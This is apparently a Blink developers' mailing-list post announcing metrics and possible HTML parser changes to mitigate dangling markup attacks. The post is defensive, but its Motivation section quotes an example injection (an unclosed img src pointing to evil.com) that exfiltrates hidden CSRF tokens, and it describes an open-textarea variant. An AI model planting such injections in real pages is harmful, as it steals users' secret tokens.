(crossposted to blink-dev@ and security-dev@, and CCing some specific folks who might be interested)
# Contact Emails
# Spec
None yet. I will submit pull-requests to HTML if we decide that the experiments discussed below are at all reasonable.
# Summary
This Intent is a little vague, as I'm still exploring the space, but I'm adding metrics for a few concrete proposals, so poking at the list seems like a reasonable thing to do (both for visibility and for new/better ideas). In particular:
It's not clear whether these mitigations will be effective or whether we'll need to address things in some other way. If/when we come to agreement on an approach, I'll come back to blink-dev@ with more specific intents to ship (intent to ships?).
# Motivation
Once we kill off XSS as a viable attack vector (which somehow seems to be taking marginally longer than expected *cough*), dangling markup attacks look like the next-softest target. I'm hopeful that we can mitigate the impact of this class of attack with some small changes to HTML's tokenizer/tree builder, URL resolution, and form submission.
For example, hidden form data (`<input type=hidden name=csrf value=token>`) can be exfiltrated via injections like `<img src="https://evil.com/?secrets=`. Since the injection leaves an open attribute, the page will be consumed until the next `"`, and the result will be nicely URL-encoded and delivered to the attacker via the image request.
Likewise, injecting an open `<textarea>` has a similar effect, as it also consumes the page until a closing `</textarea>` or EOF. Exfiltration here requires clickjacking the user, but that's not much of a speed bump.
# Interop Risk
I think we'll have deeper discussions once we know what the numbers look like, but I'm hopeful that we can agree upon a small and targeted set of changes that reasonably balances any added complexity against the mitigation we'd gain.
# Compat Risk
Unclear. The metrics I'm adding should give us some data about the impact on the status quo. It might turn out that the numbers are super-high in general, in which case my focus might shift to opt-in mechanisms that would allow developers to make individual decisions about risks. I'd prefer a change to the defaults, of course, but I'll take what I can get based on the numbers. :)
# Technical Constraints
None.
# All Blink Platforms?
Yes.
# OWP Bug
# Chromestatus
None yet; I'll create entries here once I have concrete proposals specced and tested.
# Requesting approval to ship?
Nope.